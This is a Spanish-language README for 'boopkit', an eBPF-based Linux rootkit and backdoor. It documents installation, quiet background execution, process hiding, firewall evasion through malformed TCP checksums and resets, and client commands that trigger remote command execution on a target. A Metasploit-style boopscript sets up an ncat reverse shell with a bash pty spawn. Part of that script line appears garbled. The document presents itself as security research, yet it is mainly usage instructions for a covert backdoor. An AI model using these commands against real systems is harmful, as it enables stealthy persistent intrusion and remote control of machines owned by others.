
Backdoor de Linux eBPF sobre TCP. Genera shells inversas, RCE, con acceso privilegiado previo. Menos Honkin, Más Tonkin.
================================================================
██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██╗████████╗
██╔══██╗██╔═══██╗██╔═══██╗██╔══██╗██║ ██╔╝██║╚══██╔══╝
██████╔╝██║ ██║██║ ██║██████╔╝█████╔╝ ██║ ██║
██╔══██╗██║ ██║██║ ██║██╔═══╝ ██╔═██╗ ██║ ██║
██████╔╝╚██████╔╝╚██████╔╝██║ ██║ ██╗██║ ██║
╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝
Autor: Kris Nóva <[email protected]> Versión 1.4.0
EN NINGÚN CASO EL TITULAR DE LOS DERECHOS DE AUTOR O LOS COLABORADORES SERÁN
RESPONSABLES POR DAÑOS DIRECTOS, INDIRECTOS, INCIDENTALES, ESPECIALES,
EJEMPLARES O CONSECUENTES.
NO INTENTE UTILIZAR LAS HERRAMIENTAS PARA VIOLAR LA LEY.
EL AUTOR NO ES RESPONSABLE DE NINGUNA ACCIÓN ILEGAL.
EL USO INDEBIDO DEL SOFTWARE, LA INFORMACIÓN O EL CÓDIGO FUENTE
PUEDE DAR LUGAR A CARGOS PENALES.
Úselo bajo su propio riesgo.
================================================================
Boopkit. Rootkit y puerta trasera para Linux. Construido usando eBPF.
Uso: boopkit [opciones]
Opciones: -h, help Muestra la ayuda y el uso de boopkit. -i, interface Nombre de la interfaz. lo, eth0, wlan0, etc. -s, sudo-bypass Omite la verificación de sudo. Rompe la ofuscación de PID. -r, reverse-conn Intenta una búsqueda inversa de RCE si no se encuentra un payload. -q, quiet Desactiva la salida. -x, reject Direcciones de origen para rechazar disparadores.
Herramientas de puerta trasera, rootkit y evasión de eBPF para Linux.
Ejecución remota de comandos sobre TCP sin procesar.
- Probado en kernel Linux 5.16
- Probado en kernel Linux 5.17
- Ejecución remota de código sobre TCP (SSH, Nginx, Kubernetes, etc.)
- Evasión de puerta de enlace de red (checksums incorrectos, restablecimiento TCP)
- Auto-ofuscación en tiempo de ejecución (ocultación de procesos eBPF)
##### Aviso legal
> ¡Esto **NO** es un exploit! ¡Requiere acceso privilegiado previo a un servidor para funcionar!
> Soy un investigador de seguridad profesional. Estas son herramientas de sombrero blanco utilizadas únicamente con fines de investigación.
> Úselo de manera responsable. Nunca use este software de forma ilegal.

## Lado del Servidor
Descargue y compile boopkit.
```bash
wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.3.0.tar.gz
tar -xzf v1.3.0.tar.gz
cd boopkit-1.3.0/
make
sudo make install
Ejecute boopkit en primer plano.
# Rechazar todos los boops en localhost y 10.0.0.1
boopkit -x 127.0.0.1 -x 10.0.0.1
Ejecute boopkit en segundo plano en modo silencioso.
# ¡Peligro! ¡Esto puede ser MUY difícil de detener! ¡Ejecútelo bajo su propio riesgo!
boopkit -q &
Boopkit ahora está en ejecución y puede ser explotado mediante la herramienta de línea de comandos cliente boopkit-boop.
Descargue y compile boopkit.
wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.2.0.tar.gz
tar -xzf v1.2.0.tar.gz
cd boopkit-1.2.0/
make
sudo make install
Ejecute boopkit-boop contra el servidor.
# ===================
RCE="ls -la"
# ===================
LHOST="127.0.0.1"
LPORT="3535"
RHOST="127.0.0.1"
RPORT="22"
boopkit-boop \
-lhost $LHOST \
-lport $LPORT \
-rhost $RHOST \
-rport $RPORT \
-c "$RCE"
Boopkit responderá a varios eventos en la red. Ambos pueden ser activados con la herramienta boopkit-boop.
Formato del encabezado TCP. Tomado de RFC 793. Septiembre de 1981.
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
| Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
{ data }
{ .... }
{ data }
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Primero, la herramienta boopkit-boop enviará un paquete TCP SYN malformado con un checksum vacío al servidor a través de un socket SOCK_RAW. Esto activará boopkit de forma remota independientemente de los servicios TCP en ejecución. Funciona contra cualquier servidor Linux que ejecute boopkit, sin importar el estado de los servicios TCP.
Use -p con boopkit-boop para usar solo este primer vector.
⚠️ ¡Algunos hardware de red modernos descartarán todos los paquetes con checksum malformado, como el necesario para explotar boopkit usando este vector!
A continuación, la herramienta boopkit-boop completará un handshake TCP válido con un socket SOCK_STREAM contra un servicio TCP remoto, como SSH, Kubernetes, Nginx, etc. Una vez completado el handshake TCP inicial, boopkit-boop repetirá el proceso por segunda vez.
El segundo handshake invertirá el indicador de restablecimiento TCP en el paquete, provocando un restablecimiento TCP en el servidor.
Cualquiera de estas tácticas es suficiente para activar boopkit de forma independiente. Diversas condiciones de hardware de red y tiempo de ejecución harán que una u otra táctica sea más viable. Boopkit intentará ambas y responderá a ambas por defecto.
El archivo boopscript es un script compatible con Metasploit que se puede usar para activar remotamente la puerta trasera de boopkit después de que boopkit-boop esté instalado en una máquina Linux remota.
# boopscript
RHOST="127.0.0.1"
RPORT="22"
LHOST="127.0.0.1"
LPORT="3535"
NCAT="/usr/bin/ncat"
NCATLISTENPORT="3545"
libbpflibxdppython -c "import pty; pty.spawn('/bin/bash')"
Créditos a los autores originales por sus útiles ejemplos de código. ¡Tomé prestado mucho código para este proyecto!